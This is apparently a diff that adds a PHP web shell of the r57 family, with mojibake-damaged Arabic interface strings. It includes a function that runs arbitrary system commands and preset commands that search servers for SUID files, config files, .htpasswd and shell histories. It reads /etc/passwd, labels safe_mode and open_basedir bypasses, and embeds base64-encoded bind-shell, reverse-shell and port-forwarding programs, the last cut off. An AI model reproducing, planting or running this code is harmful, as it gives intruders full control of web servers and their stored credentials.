��������', +'ar_text23'=>'������ ������', +'ar_text24'=>'������� ������', +'ar_text25'=>'������ ������', +'ar_text26'=>'������', +'ar_butt5' =>'�����', +'ar_text28'=>'����� �� ����� �����', +'ar_text29'=>'����� ������', +'ar_butt6' =>'����', +'ar_text30'=>'��� ���', +'ar_butt7' =>'���', +'ar_text31'=>'����� ��� �����', +'ar_text32'=>'����� ��� php �� ���� ���� eval', +'ar_text33'=>'Test bypass open_basedir with cURL functions', +'ar_butt8' =>'������', +'ar_text34'=>'����� ������� �� ���� ���� include', +'ar_text35'=>'����� ������� �� ���� ���� Mysql', +'ar_text36'=>'������� . ������', +'ar_text37'=>'��� ��������', +'ar_text38'=>'���� ������', +'ar_text39'=>'�������', +'ar_text40'=>'���� �� ����� �������', +'ar_butt9' =>'����', +'ar_text41'=>'��� ������ ��', +'ar_text42'=>'����� �������', +'ar_text43'=>'����� ������ ������', +'ar_butt10'=>'���', +'ar_text44'=>'�������� ������� ��� ��� ����� ��� ����', +'ar_text45'=>'�� �����', +'ar_text46'=>'��� phpinfo()', +'ar_text47'=>'���� ��������� �� php.ini', +'ar_text48'=>'��� ����� ��� temp', +'ar_butt11'=>'����� �����', +'ar_text49'=>'��� ������� �� �������', +'ar_text50'=>'��� ������� ������� ��������', +'ar_text51'=>'��� ������� �������', +'ar_text52'=>'��� ��', +'ar_text53'=>'�� ������', +'ar_text54'=>'��� �� �� �� �������', +'ar_butt12'=>'���', +'ar_text55'=>'��� �� �������', +'ar_text56'=>'������ :(', +'ar_text57'=>'�����/��� ���/����', +'ar_text58'=>'�����', +'ar_text59'=>'���', +'ar_text60'=>'����', +'ar_butt13'=>'����� /���', +'ar_text61'=>'�� ����� �����', +'ar_text62'=>'�� ����� ������', +'ar_text63'=>'�� ��� �����', +'ar_text64'=>'�� ��� ������', +'ar_butt65'=>'�����', +'ar_text66'=>'���', +'ar_text67'=>'�������/��������/��������', +'ar_text68'=>'���', +'ar_text69'=>'��� �����', +'ar_text70'=>'�������', +'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'ar_text72'=>'���� ������', +'ar_text73'=>'��� �� ��������', +'ar_text74'=>'��� �� �������', +'ar_text75'=>'* you can use regexp', +'ar_text76'=>'����� �� �� �� ����� ������ find', +'ar_text80'=>'�����', +'ar_text81'=>'���������', +'ar_text82'=>'����� ��������', +'ar_text83'=>'����� ��� �������', +'ar_text84'=>'������� �����', +'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'ar_text86'=>'����� ����� �� �������', +'ar_butt14'=>'�����', +'ar_text87'=>'����� ����� �� ���� ���� �� ��', +'ar_text88'=>'����� ���� �� ��:������', +'ar_text89'=>'��� �� ���� �� ��', +'ar_text90'=>'������� ���', +'ar_text91'=>'�����', +'ar_text92'=>'�� ��� �������', +'ar_text93'=>'���� �� ��', +'ar_text94'=>'����� ���� �� ��', +'ar_text95'=>'����� ����������', +'ar_text96'=>'�� ����� ��� ����� ����������', +'ar_text97'=>'�� �����: ', +'ar_text98'=>'�� �����: ', +'ar_text99'=>'* ������ ����� ���������� �� ��� /etc/passwd ����� ��� ftp', +'ar_text100'=>'����� ��� ��� ���� ���� �� ��', +'ar_text101'=>'������ ������� ������ ��������', +'ar_text102'=>'����� ������', +'ar_text103'=>'����� ����', +'ar_text104'=>'����� ��� ��� �������', +'ar_text105'=>'���', +'ar_text106'=>'���', +'ar_text107'=>'�������', +'ar_butt15'=>'�����', +'ar_text108'=>'�������', +'ar_text109'=>'����', +'ar_text110'=>'���', +'ar_text111'=>'����� ����� �������� : ������', +'ar_text112'=>'����� ������� �� ���� ���� ���� mb_send_mail', +'ar_text113'=>'����� ����� �������� �� ���� via imap_list', +'ar_text114'=>'����� ������� �� ���� ���� via imap_body', +'ar_text115'=>'����� ������� �� ���� compress.zlib://', +'ar_text116'=>'��� ��', +'ar_text117'=>'���', +'ar_text118'=>'�� ��� �����', +'ar_text119'=>'�������� �����', +'ar_err0'=>'���� ! ������ ������� ��� ��� ����� ', +'ar_err1'=>'���� ! ��� ���� ��� ����� ��� ����� ', +'ar_err2'=>'����! ������ ������� ', +'ar_err3'=>'����! ��� ���� ��� ������� ����� �� ��', +'ar_err4'=>'���� ! �������� ������ ��� ����� ���� �� ��', +'ar_err5'=>'���� ! �������� ���� ������ �� ���� �� ��', +'ar_err6'=>'���� ! �������� ����� �����', +'ar_err7'=>'������ ����', +'ar_text200'=>'copy()����� ������� �� ���� ����', +'ar_text202'=>'���� ����� ������ ������', +'ar_text300'=>'curl()����� ������� �� ���� ����', +'ar_text203'=>'ini_restore()����� ������� �� ���� ����', +'ar_text204'=>'error_log()����� ������� �� ���� ����', +'ar_text205'=>'���� ���� ��� ��� ������', +'ar_text206'=>'����� ������� ������', +'ar_text207'=>'����� ������� �������� �� ���� ���� reg_glob', +'ar_text208'=>'����� ������� �� ����� ����� �� ���� ������', +'ar_text209'=>'����� ������� �������� �� ���� ���� root', +'ar_text210'=>'�� ����� ����� ', +'ar_text211'=>'::����� ����� ���::', +'ar_text212'=>'php.ini ����� ����� ��� �� ���� ��� ���', +'ar_text213'=>'htacces ����� ����� ������� �� ���� ��� ���', +'ar_text214'=>'��� ������', +'ar_text215'=>'����� ������� IRC ', +'ar_text216'=>'# ��� ������ ��', +'ar_text217'=>'��� ������� �������', +'ar_text218'=>'������ ����� ��� ini_restore ��� ��� ����� ��� ����', +'ar_text219'=>'��� ����� ��� ������� ����� ����� ������ �����', +'ar_text220'=>'������� ������� �� ���� ���� symlink ������ ������', +'ar_text221'=>'��� ������� �������� �� ������(��� ������� ������ ��� ������ ����� �������� ������)1', +'ar_text222'=>'������� ������� �� ���� ���� symlink ������ �������', +'ar_text223'=>'����� ������� �� ���� ������', +'ar_text224'=>'PLUGIN ����� ������� �� ���� ���� ', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'����� �� ����� suid'=>'find / -type f -perm -04000 -ls', +'����� �� ����� suid �� ������ ������'=>'find . -type f -perm -04000 -ls', +'����� �� ����� suid'=>'find / -type f -perm -02000 -ls', +'����� �� ����� suid �� ������ ������'=>'find . -type f -perm -02000 -ls', +'����� �� ����� config.inc.php'=>'find / -type f -name config.inc.php', +'����� �� ����� config.inc.php �� ������ ������'=>'find . -type f -name config.inc.php', +'����� �� ����� config* ����� ����������'=>'find / -type f -name "config*"', +'����� �� ����� config* �� ������ ������'=>'find . -type f -name "config*"', +'����� �� ������� ������� �������'=>'find / -type f -perm -2 -ls', +'����� �� ������� ������� ������� �� ������ ������'=>'find . -type f -perm -2 -ls', +'����� �� �������� ������� �������'=>'find / -type d -perm -2 -ls', +'����� �� �������� ������� ������� �� ������ ������'=>'find . -type d -perm -2 -ls', +'����� �� ����� ������� ����� �������'=>'find / -perm -2 -ls', +'����� �� ����� ������� �� ������ ������'=>'find . -perm -2 -ls', +'����� �� ����� service.pwd'=>'find / -type f -name service.pwd', +'����� �� ����� service.pwd �� ������ ������'=>'find . -type f -name service.pwd', +'����� �� �� ����� ������� ������� .htpasswd'=>'find / -type f -name .htpasswd', +'����� �� ���� ����� ������� ������� �� ������ ������'=>'find . -type f -name .htpasswd', +'����� �� ���� ����� .bash_history'=>'find / -type f -name .bash_history', +'����� �� ���� ����� .bash_history �� ������ ������'=>'find . -type f -name .bash_history', +'����� �� ���� ����� .mysql_history'=>'find / -type f -name .mysql_history', +'����� �� ���� ����� .mysql_history �� ������ ������'=>'find . -type f -name .mysql_history', +'����� �� ���� ����� .fetchmailrc'=>'find / -type f -name .fetchmailrc', +'����� �� ���� ����� .fetchmailrc �� ������ ������'=>'find . -type f -name .fetchmailrc', +'��� ����� ����� �� ������'=>'lsattr -va', +'���� �������� �������� �� �������'=>'netstat -an | grep -i listen', +'���� ���� �������� �������� �������'=>'cat /etc/fstab', +'������ ��� ����� ����� ���� ���� �������� ��� �������'=>'cat /var/cpanel/accounting.log', +'������ �������� ���� ���� ���� �������'=>'ps aux', +'���������� �������� �����'=>'w', +'��� �������� �����'=>'lastlog', +'��� ����� ����� wget curl ..etc'=>'which wget curl w3m lynx', +'��� ���� ������� gcc'=>'locate gcc', + + + +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#272727><font face=tahoma size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#333333>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Webdings color=gray>4</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=tahoma size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $unix = 0; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=tahoma size=-2><b>".ws(3); + $r .= (!$unix)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=tahoma size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=tahoma size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=tahoma size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +function perms($mode) +{ +if (!$GLOBALS['unix']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value,$checked=0) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\""; + if($checked) $ret .= " checked"; + return $ret.">"; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c 